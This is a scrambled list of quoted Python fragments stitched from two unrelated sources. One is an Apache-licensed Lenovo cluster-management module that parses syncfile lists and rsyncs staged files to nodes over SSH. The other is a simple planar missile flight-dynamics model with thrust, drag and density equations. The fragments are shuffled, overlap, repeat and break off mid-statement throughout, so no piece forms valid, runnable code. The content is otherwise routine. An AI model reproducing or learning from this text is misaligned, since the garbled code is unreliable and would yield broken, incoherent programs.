pwd.getpwnam(optval).pw_uid except KeyError:", "suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir,", "try: uid = pwd.getpwnam(optval).pw_uid except KeyError: uid = None optval", "continue if ent[-1] == ':': if ent == 'MERGE:': currmap", "is None: # this is to indicate source and destination", "suffixes['merge'] = suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir,", "governing permissions and # limitations under the License. import glob", "dst[1:] if len(everyfent) > 1 and dst[-1] != '/': raise", "== '<': subfilename = ent[1:] if subfilename[-1] == '>': subfilename", "as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners = {}", "filenames in os.walk(targdir): for filename in filenames: filename = os.path.join(root,", "dst = os.path.dirname(everyfent[0]) + '/' while dst and dst[0] ==", "output.decode('utf8') retval = { 'options': sl.optmap, 'output': output, } return", "!= ')': raise Exception(\"Unsupported syntax in syncfile: \" + ent)", "with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners", "subfilename = subfilename[:-1] if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename),", "('200 OK', '') result = syncrunners[nodename].wait() del syncrunners[nodename] return ('200", "profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not profile:", "exception, implement a hack workaround raise unreadablefiles = [] for", "ent in entries: try: cmtidx = ent.index('#') ent = ent[:cmtidx]", "'Special character \"{}\" reserved for future use'.format(special)) ent = ent.strip()", "= {} def start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename,", "in ent.split(): if part[0] == '(': currparts = optparts currparts.append(part)", "optparts[0] optparts = optparts[1:] else: kparts = [] optparts =", "output and options def stage_ent(currmap, ent, targdir, appendexist=False): dst =", "as slfile: slist = slfile.read() entries = slist.split('\\n') for ent", "kparts = [] optparts = [] currparts = kparts for", "if ent[0] == '<': subfilename = ent[1:] if subfilename[-1] ==", "output = output.decode('utf8') retval = { 'options': sl.optmap, 'output': output,", "in syncrunners: return ('204 Not Running', '') if not syncrunners[nodename].dead:", "OK', '') result = syncrunners[nodename].wait() del syncrunners[nodename] return ('200 OK',", "suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent", "Exception('No matching files for \"{}\"'.format(ent)) if dst is None: #", "sync_list_to_node, sl, nodename, suffixes) return '202 Queued' # backgrounded def", "License. import glob import os import shutil import tempfile import", "try: cmtidx = ent.index('#') ent = ent[:cmtidx] except ValueError: pass", "for targ in everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination,", "nr, v = v.split(':', 1) for candidate in noderange.NodeRange(nr, cfg).nodes:", "in filenames: filename = os.path.join(root, filename) try: with open(filename, 'r')", "if os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source): currsrc = os.path.join(source,", "in os.listdir(source): currsrc = os.path.join(source, ent) currdst = os.path.join(destination, ent)", "not running sl = SyncList(synclist, nodename, cfg) if not (sl.appendmap", "suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:] for ent", "glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise Exception('No matching files for", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "self.appendoncemap = {} self.mergemap = {} self.optmap = {} entries", "Unless required by applicable law or agreed to in writing,", "== ':': if ent == 'MERGE:': currmap = self.mergemap elif", "'') if not profile: raise Exception('Cannot perform syncfiles without profile", "Lenovo # # Licensed under the Apache License, Version 2.0", "yield ent class SyncList(object): def __init__(self, filename, nodename, cfg): slist", "has no actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename,", "= suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']),", "os.symlink(source, destination) syncrunners = {} def start_syncfiles(nodename, cfg, suffixes): deployinfo", "grp def mkdirp(path): try: os.makedirs(path) except OSError as e: if", "the specific language governing permissions and # limitations under the", "v.split(':', 1) for candidate in noderange.NodeRange(nr, cfg).nodes: if candidate ==", "grp.getgrnam(optval).gr_gid except KeyError: gid = None optval = {'name': optval,", "while suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for", "return '200 OK' # the synclist has no actual entries", "= {} entries = get_entries(filename) currmap = self.replacemap for ent", "applicable law or agreed to in writing, software # distributed", "uid = None optval = {'name': optval, 'id': uid} elif", "opt.split('=') if optname == 'owner': try: uid = pwd.getpwnam(optval).pw_uid except", "':' in v: nr, v = v.split(':', 1) for candidate", "if unreadablefiles: raise Exception(\"Syncing failed due to unreadable files: \"", "currmap[k] = v targ = v if v else k", "k, v = ent.split('->') k = k.strip() v = v.strip()", "mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and", "for filename in filenames: filename = os.path.join(root, filename) try: with", "in '$%^&|{}': if special in ent: raise Exception( 'Special character", "for ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if", "ent) opts = ','.join(optparts) opts = opts[1:-1] for opt in", "} return retval # need dictionary with output and options", "else: raise Exception( 'Section \"{}\" is not currently supported in", "{} entries = get_entries(filename) currmap = self.replacemap for ent in", "ent) mkpathorlink(currsrc, currdst) else: if destination[-1] == '/': mkdirp(destination) destination", "suffixes) return '202 Queued' # backgrounded def get_syncresult(nodename): if nodename", "entopts = {} if optparts: if optparts[0][0] != '(' or", "{} self.mergemap = {} self.optmap = {} entries = get_entries(filename)", "in writing, software # distributed under the License is distributed", "self.appendoncemap elif ent == 'REPLACE:': currmap = self.replacemap else: raise", "part in ent.split(): if part[0] == '(': currparts = optparts", "= optparts[0] optparts = optparts[1:] else: kparts = [] optparts", "ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if destination[-1]", "= os.path.dirname(everyfent[0]) + '/' while dst and dst[0] == '/':", "for ent in entries: try: cmtidx = ent.index('#') ent =", "not currently supported in syncfiles'.format(ent[:-1])) continue if '->' in ent:", "pwd import grp def mkdirp(path): try: os.makedirs(path) except OSError as", "the synclist has no actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node,", "ent == 'REPLACE:': currmap = self.replacemap else: raise Exception( 'Section", "syncrunners = {} def start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes(", "for ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge'", "ent[1:] if subfilename[-1] == '>': subfilename = subfilename[:-1] if subfilename[0]", "profile: raise Exception('Cannot perform syncfiles without profile assigned') synclist =", "gid = None optval = {'name': optval, 'id': gid} entopts[optname]", "= eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return '202 Queued' #", "1) for candidate in noderange.NodeRange(nr, cfg).nodes: if candidate == nodename:", "failed due to unreadable files: \" + ','.join(unreadablefiles)) else: raise", "fents = glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise Exception('No matching", "if appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination)", "targ in everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False):", "import shutil import tempfile import confluent.sshutil as sshutil import confluent.util", "need dictionary with output and options def stage_ent(currmap, ent, targdir,", "in syncfile: \" + ent) opts = ','.join(optparts) opts =", "('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if ent[0] == '<':", "implement a hack workaround raise unreadablefiles = [] for root,", "if len(everyfent) > 1 and dst[-1] != '/': raise Exception(", "shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w') as realdest: with open(tmpnam)", "if optparts[0][0] != '(' or optparts[-1][-1] != ')': raise Exception(\"Unsupported", "indicate a directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst) for targ", "as olddest: realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else:", "k = ' '.join(kparts) v = None entopts = {}", "with open(filename, 'r') as slfile: slist = slfile.read() entries =", "suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if", "'MERGE:', 'REPLACE:'): secname = ent if ent[0] == '<': subfilename", "ent: raise Exception( 'Special character \"{}\" reserved for future use'.format(special))", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "== nodename: break else: continue optparts = v.split() v =", "')': raise Exception(\"Unsupported syntax in syncfile: \" + ent) opts", "License, Version 2.0 (the \"License\"); # you may not use", "# You may obtain a copy of the License at", "and dst[-1] != '/': raise Exception( 'Multiple files match {},", "unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception(\"Syncing failed due to unreadable", "except OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception(\"Syncing", "destination) syncrunners = {} def start_syncfiles(nodename, cfg, suffixes): deployinfo =", "filename[:-1] with open(filename, 'r') as slfile: slist = slfile.read() entries", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "files: \" + ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if not", "{}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value',", "os import shutil import tempfile import confluent.sshutil as sshutil import", "this exception, implement a hack workaround raise unreadablefiles = []", "os.path.join(root, filename) try: with open(filename, 'r') as _: pass except", "= ent.split() for tmpent in allfents: fents = glob.glob(tmpent) everyfent.extend(fents)", "not (sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap): return '200", "realdest: with open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source) as sourcedata:", "yield subent yield secname else: yield ent class SyncList(object): def", "else: kparts = [] optparts = [] currparts = kparts", "this is to indicate source and destination as one dst", "sl.optmap, 'output': output, } return retval # need dictionary with", "'id': uid} elif optname == 'group': try: gid = grp.getgrnam(optval).gr_gid", "import eventlet import pwd import grp def mkdirp(path): try: os.makedirs(path)", "with open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read())", "= opts[1:-1] for opt in opts.split(','): optname, optval = opt.split('=')", "= {'name': optval, 'id': uid} elif optname == 'group': try:", "if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if", "in opts.split(','): optname, optval = opt.split('=') if optname == 'owner':", "everyfent: raise Exception('No matching files for \"{}\"'.format(ent)) if dst is", "the License for the specific language governing permissions and #", "import confluent.noderange as noderange import eventlet import pwd import grp", "'.join(kparts) v = None entopts = {} if optparts: if", "sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try:", "suffixes: while suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:]", "fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for", "open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners =", "Apache License, Version 2.0 (the \"License\"); # you may not", "currdst) else: if destination[-1] == '/': mkdirp(destination) destination = os.path.join(destination,", "== '/': suffixes['append'] = suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap,", "'MERGE:': currmap = self.mergemap elif ent == 'APPENDONCE:': currmap =", "destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source): currsrc", "either express or implied. # See the License for the", "Exception(\"Unsupported syntax in syncfile: \" + ent) opts = ','.join(optparts)", "everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source):", "dst = currmap[ent] everyfent = [] allfents = ent.split() for", "# limitations under the License. import glob import os import", "'>': filename = filename[:-1] with open(filename, 'r') as slfile: slist", "optval = opt.split('=') if optname == 'owner': try: uid =", "use'.format(special)) ent = ent.strip() if not ent: continue if ent[-1]", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "if e.errno != 17: raise def get_entries(filename): secname = 'REPLACE:'", "= kparts for part in ent.split(): if part[0] == '(':", "pwd.getpwnam(optval).pw_uid except KeyError: uid = None optval = {'name': optval,", "= [] allfents = ent.split() for tmpent in allfents: fents", "Not Running', '') if not syncrunners[nodename].dead: return ('200 OK', '')", "in suffixes: while suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge'] =", "as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception(\"Syncing failed due", "= output.decode('utf8') retval = { 'options': sl.optmap, 'output': output, }", "= filename[:-1] with open(filename, 'r') as slfile: slist = slfile.read()", "optparts[-1][-1] != ')': raise Exception(\"Unsupported syntax in syncfile: \" +", "targdir) if 'append' in suffixes: while suffixes['append'] and suffixes['append'][0] ==", "== 'MERGE:': currmap = self.mergemap elif ent == 'APPENDONCE:': currmap", "== '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap,", "and suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:] for ent in", "workaround raise unreadablefiles = [] for root, dirnames, filenames in", "nodename, suffixes) return '202 Queued' # backgrounded def get_syncresult(nodename): if", "subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in", "suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:] for ent in sl.appendmap:", "if 'merge' in suffixes: while suffixes['merge'] and suffixes['merge'][0] == '/':", "calledprocesserror normally # for this exception, implement a hack workaround", "ent.index('#') ent = ent[:cmtidx] except ValueError: pass for special in", "'') if not profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '')", "destination[-1] == '/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination))", "in entries: try: cmtidx = ent.index('#') ent = ent[:cmtidx] except", "profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not profile: profile", "if dst is None: # this is to indicate source", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "unreadablefiles: raise Exception(\"Syncing failed due to unreadable files: \" +", "syncfiles'.format(ent[:-1])) continue if '->' in ent: k, v = ent.split('->')", "for part in ent.split(): if part[0] == '(': currparts =", "Exception( 'Section \"{}\" is not currently supported in syncfiles'.format(ent[:-1])) continue", "'/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield", "if 'appendonce' in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] == '/':", "tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed", "reason, can't catch the calledprocesserror normally # for this exception,", "None entopts = {} if optparts: if optparts[0][0] != '('", "= None optval = {'name': optval, 'id': gid} entopts[optname] =", "os.remove(tmpnam) else: os.symlink(source, destination) syncrunners = {} def start_syncfiles(nodename, cfg,", "'options': sl.optmap, 'output': output, } return retval # need dictionary", "= os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if destination[-1] == '/':", "filename in filenames: filename = os.path.join(root, filename) try: with open(filename,", "ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD',", "filename, nodename, cfg): slist = None self.replacemap = {} self.appendmap", "entopts[optname] = optval currmap[k] = v targ = v if", "ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge' in", "else: raise finally: shutil.rmtree(targdir) if not isinstance(output, str): output =", "confluent.sshutil as sshutil import confluent.util as util import confluent.noderange as", "e: if e.errno != 17: raise def get_entries(filename): secname =", "try: os.makedirs(path) except OSError as e: if e.errno != 17:", "'append' in suffixes: while suffixes['append'] and suffixes['append'][0] == '/': suffixes['append']", "'')) if unreadablefiles: raise Exception(\"Syncing failed due to unreadable files:", "pass for special in '$%^&|{}': if special in ent: raise", "\"License\"); # you may not use this file except in", "cfg).nodes: if candidate == nodename: break else: continue optparts =", "if candidate == nodename: break else: continue optparts = v.split()", "{ 'options': sl.optmap, 'output': output, } return retval # need", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "https://github.com/eventlet/eventlet/issues/413 # for some reason, can't catch the calledprocesserror normally", "in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if ent[0] ==", "raise finally: shutil.rmtree(targdir) if not isinstance(output, str): output = output.decode('utf8')", "appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source): currsrc =", "nodename: break else: continue optparts = v.split() v = optparts[0]", "!= '/': raise Exception( 'Multiple files match {}, {} needs", "'->' in ent: k, v = ent.split('->') k = k.strip()", "continue if '->' in ent: k, v = ent.split('->') k", "sshutil import confluent.util as util import confluent.noderange as noderange import", "supported in syncfiles'.format(ent[:-1])) continue if '->' in ent: k, v", "not in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some reason, can't", "raise unreadablefiles = [] for root, dirnames, filenames in os.walk(targdir):", "= {} self.mergemap = {} self.optmap = {} entries =", "# distributed under the License is distributed on an \"AS", "else: continue optparts = v.split() v = optparts[0] optparts =", "k = k.strip() v = v.strip() if ':' in v:", "everyfent = [] allfents = ent.split() for tmpent in allfents:", "{}).get('value', '') if not profile: raise Exception('Cannot perform syncfiles without", "ent[:cmtidx] except ValueError: pass for special in '$%^&|{}': if special", "# Unless required by applicable law or agreed to in", "profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200", "not os.path.exists(synclist): return '200 OK' # not running sl =", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "for this exception, implement a hack workaround raise unreadablefiles =", "1 and dst[-1] != '/': raise Exception( 'Multiple files match", "def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent in", "tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w') as", "== 'group': try: gid = grp.getgrnam(optval).gr_gid except KeyError: gid =", "os.walk(targdir): for filename in filenames: filename = os.path.join(root, filename) try:", "v if v else k for f in targ.split(): self.optmap[f]", "filename = filename.strip() if filename[-1] == '>': filename = filename[:-1]", "return ('204 Not Running', '') if not syncrunners[nodename].dead: return ('200", "You may obtain a copy of the License at #", "hack workaround raise unreadablefiles = [] for root, dirnames, filenames", "in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes:", "tmpnam) os.remove(destination) with open(destination, 'w') as realdest: with open(tmpnam) as", "= slfile.read() entries = slist.split('\\n') for ent in entries: ent", "if v else k for f in targ.split(): self.optmap[f] =", "optparts: if optparts[0][0] != '(' or optparts[-1][-1] != ')': raise", "gid} entopts[optname] = optval currmap[k] = v targ = v", "stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync',", "stage_ent(currmap, ent, targdir, appendexist=False): dst = currmap[ent] everyfent = []", "if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent", "if ':' in v: nr, v = v.split(':', 1) for", "subfilename[-1] == '>': subfilename = subfilename[:-1] if subfilename[0] != '/':", "the Apache License, Version 2.0 (the \"License\"); # you may", "'owner': try: uid = pwd.getpwnam(optval).pw_uid except KeyError: uid = None", "suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for ent", "targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for ent in", "dst[-1] != '/': raise Exception( 'Multiple files match {}, {}", "return '202 Queued' # backgrounded def get_syncresult(nodename): if nodename not", "sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes: while", "import os import shutil import tempfile import confluent.sshutil as sshutil", "'') if not syncrunners[nodename].dead: return ('200 OK', '') result =", "suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in sl.appendoncemap:" ]
[ "[0, 20000] Q = 0.5*rho*V**2 # Drag model if M", "Drag model if M < 0.93: Cd0 = 0.02 elif", "gamma, = state.ravel() a = control # temperature if y", "if y <= 11000: Tmp = 288.16 - 0.0065*y else:", "= 33000 elif t < self.t2: m = 113.205 -", "90.035 T = 0 # density and dynamic pressure rho", "density and dynamic pressure rho = (1.15579 - 1.058*1e-4*y +", "+ 0.2*(M - 0.93) elif M < 1.10: Cd0 =", "- 0.93) elif M < 1.10: Cd0 = 0.04 +", "- 1.10) if M < 1.15: K = 0.2 else:", "= K*m**2*a**2/(Q*self.S) D = D0 + Di dxdt = V*np.cos(gamma)", "= D0 + Di dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma)", "m = 135 - 14.53*t T = 33000 elif t", "0)]} # no external effects def deriv(self, state, t, control,", "1.15) D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D = D0", "S = 1 t1 = 1.5 t2 = 8.5 name", "33000 elif t < self.t2: m = 113.205 - 3.331*t", "is closed after t=t1) if t < self.t1: m =", "as np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R =", "0.02 elif M < 1.03: Cd0 = 0.02 + 0.2*(M", "D)/m - self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V return np.vstack([dxdt,", "import BaseSystem class MissilePlanar(BaseSystem): R = 288 g = 9.80665", "= 0.0442 - 0.007*(M - 1.10) if M < 1.15:", "states, controls): return 0 # return {\"wind\" : [(0, 0),", "loop is closed after t=t1) if t < self.t1: m", "control # temperature if y <= 11000: Tmp = 288.16", "0.93) elif M < 1.10: Cd0 = 0.04 + 0.06*(M", "control, external): # state and (control) input x, y, V,", "np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288", "= 135 - 14.53*t T = 33000 elif t <", "= 7500 else: m = 90.035 T = 0 #", "<= 11000: Tmp = 288.16 - 0.0065*y else: Tmp =", "after t=t1) if t < self.t1: m = 135 -", "t < self.t2: m = 113.205 - 3.331*t T =", "T = 0 # density and dynamic pressure rho =", "= 0.2 else: K = 0.2 + 0.246*(M - 1.15)", "113.205 - 3.331*t T = 7500 else: m = 90.035", "0.2 else: K = 0.2 + 0.246*(M - 1.15) D0", "0), (0, 0)]} # no external effects def deriv(self, state,", "M = V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note: guidance loop", "and thrust (Note: guidance loop is closed after t=t1) if", "m = 90.035 T = 0 # density and dynamic", "else: Cd0 = 0.0442 - 0.007*(M - 1.10) if M", "Di = K*m**2*a**2/(Q*self.S) D = D0 + Di dxdt =", "if M < 0.93: Cd0 = 0.02 elif M <", "M < 1.10: Cd0 = 0.04 + 0.06*(M - 1.03)", "dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T -", "K*m**2*a**2/(Q*self.S) D = D0 + Di dxdt = V*np.cos(gamma) dydt", "dVdt = (T - D)/m - self.g*np.sin(gamma) dgammadt = (a", "external): # state and (control) input x, y, V, gamma,", "self.t2: m = 113.205 - 3.331*t T = 7500 else:", "# return {\"wind\" : [(0, 0), (0, 0)]} # no", "thrust (Note: guidance loop is closed after t=t1) if t", "= 1.5 t2 = 8.5 name = 'missile' def __init__(self,", "= 0.2 + 0.246*(M - 1.15) D0 = Cd0*Q*self.S Di", "dynamic pressure rho = (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 -", "super().__init__(initial_state) def external(self, states, controls): return 0 # return {\"wind\"", "D = D0 + Di dxdt = V*np.cos(gamma) dydt =", "model if M < 0.93: Cd0 = 0.02 elif M", "{\"wind\" : [(0, 0), (0, 0)]} # no external effects", "= (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y", "0.04 + 0.06*(M - 1.03) else: Cd0 = 0.0442 -", "# Mach number M = V/(1.4*self.R*Tmp)**0.5 # Mass and thrust", "elif M < 1.10: Cd0 = 0.04 + 0.06*(M -", "in [0, 20000] Q = 0.5*rho*V**2 # Drag model if", "if t < self.t1: m = 135 - 14.53*t T", "t=t1) if t < self.t1: m = 135 - 14.53*t", "- 3.331*t T = 7500 else: m = 90.035 T", "V*np.sin(gamma) dVdt = (T - D)/m - self.g*np.sin(gamma) dgammadt =", "def deriv(self, state, t, control, external): # state and (control)", "Mass and thrust (Note: guidance loop is closed after t=t1)", "class MissilePlanar(BaseSystem): R = 288 g = 9.80665 S =", "else: m = 90.035 T = 0 # density and", "Q = 0.5*rho*V**2 # Drag model if M < 0.93:", "0.246*(M - 1.15) D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D", "input x, y, V, gamma, = state.ravel() a = control", "= 90.035 T = 0 # density and dynamic pressure", "# density and dynamic pressure rho = (1.15579 - 1.058*1e-4*y", "- 0.0065*y else: Tmp = 216.66 # Mach number M", "and dynamic pressure rho = (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2", "1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in [0, 20000]", "(T - D)/m - self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V", "= 0.02 elif M < 1.03: Cd0 = 0.02 +", "external effects def deriv(self, state, t, control, external): # state", "V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note: guidance loop is closed", "= 0.02 + 0.2*(M - 0.93) elif M < 1.10:", "0.06*(M - 1.03) else: Cd0 = 0.0442 - 0.007*(M -", "numpy as np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R", "< 0.93: Cd0 = 0.02 elif M < 1.03: Cd0", "y, V, gamma, = state.ravel() a = control # temperature", "M < 1.03: Cd0 = 0.02 + 0.2*(M - 0.93)", "< self.t1: m = 135 - 14.53*t T = 33000", "= 0.5*rho*V**2 # Drag model if M < 0.93: Cd0", "= V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note: guidance loop is", "= 113.205 - 3.331*t T = 7500 else: m =", "Cd0 = 0.02 elif M < 1.03: Cd0 = 0.02", "(0, 0)]} # no external effects def deriv(self, state, t,", "if M < 1.15: K = 0.2 else: K =", "pressure rho = (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3)", "R = 288 g = 9.80665 S = 1 t1", "D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D = D0 +", "= Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D = D0 + Di", "+ Di dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt =", "def external(self, states, controls): return 0 # return {\"wind\" :", "+ 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in [0, 20000] Q", "return {\"wind\" : [(0, 0), (0, 0)]} # no external", "3.331*t T = 7500 else: m = 90.035 T =", "7500 else: m = 90.035 T = 0 # density", "<reponame>JungYT/fym<gh_stars>10-100 import numpy as np from fym.core import BaseSystem class", "state and (control) input x, y, V, gamma, = state.ravel()", "(Note: guidance loop is closed after t=t1) if t <", "self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V return np.vstack([dxdt, dydt, dVdt,", "0 # return {\"wind\" : [(0, 0), (0, 0)]} #", "else: K = 0.2 + 0.246*(M - 1.15) D0 =", "11000: Tmp = 288.16 - 0.0065*y else: Tmp = 216.66", ": [(0, 0), (0, 0)]} # no external effects def", "# no external effects def deriv(self, state, t, control, external):", "# Drag model if M < 0.93: Cd0 = 0.02", "0.02 + 0.2*(M - 0.93) elif M < 1.10: Cd0", "deriv(self, state, t, control, external): # state and (control) input", "D0 + Di dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt", "M < 0.93: Cd0 = 0.02 elif M < 1.03:", "1.5 t2 = 8.5 name = 'missile' def __init__(self, initial_state):", "= V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T - D)/m", "y in [0, 20000] Q = 0.5*rho*V**2 # Drag model", "- 0.007*(M - 1.10) if M < 1.15: K =", "20000] Q = 0.5*rho*V**2 # Drag model if M <", "= 9.80665 S = 1 t1 = 1.5 t2 =", "8.5 name = 'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self,", "0.0442 - 0.007*(M - 1.10) if M < 1.15: K", "1.03) else: Cd0 = 0.0442 - 0.007*(M - 1.10) if", "1.10) if M < 1.15: K = 0.2 else: K", "rho = (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) #", "self.t1: m = 135 - 14.53*t T = 33000 elif", "288 g = 9.80665 S = 1 t1 = 1.5", "x, y, V, gamma, = state.ravel() a = control #", "= 288 g = 9.80665 S = 1 t1 =", "= control # temperature if y <= 11000: Tmp =", "= 0 # density and dynamic pressure rho = (1.15579", "elif M < 1.03: Cd0 = 0.02 + 0.2*(M -", "Tmp = 216.66 # Mach number M = V/(1.4*self.R*Tmp)**0.5 #", "# y in [0, 20000] Q = 0.5*rho*V**2 # Drag", "controls): return 0 # return {\"wind\" : [(0, 0), (0,", "T = 7500 else: m = 90.035 T = 0", "no external effects def deriv(self, state, t, control, external): #", "t, control, external): # state and (control) input x, y,", "__init__(self, initial_state): super().__init__(initial_state) def external(self, states, controls): return 0 #", "1.15: K = 0.2 else: K = 0.2 + 0.246*(M", "9.80665 S = 1 t1 = 1.5 t2 = 8.5", "and (control) input x, y, V, gamma, = state.ravel() a", "Di dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T", "0.2*(M - 0.93) elif M < 1.10: Cd0 = 0.04", "= 288.16 - 0.0065*y else: 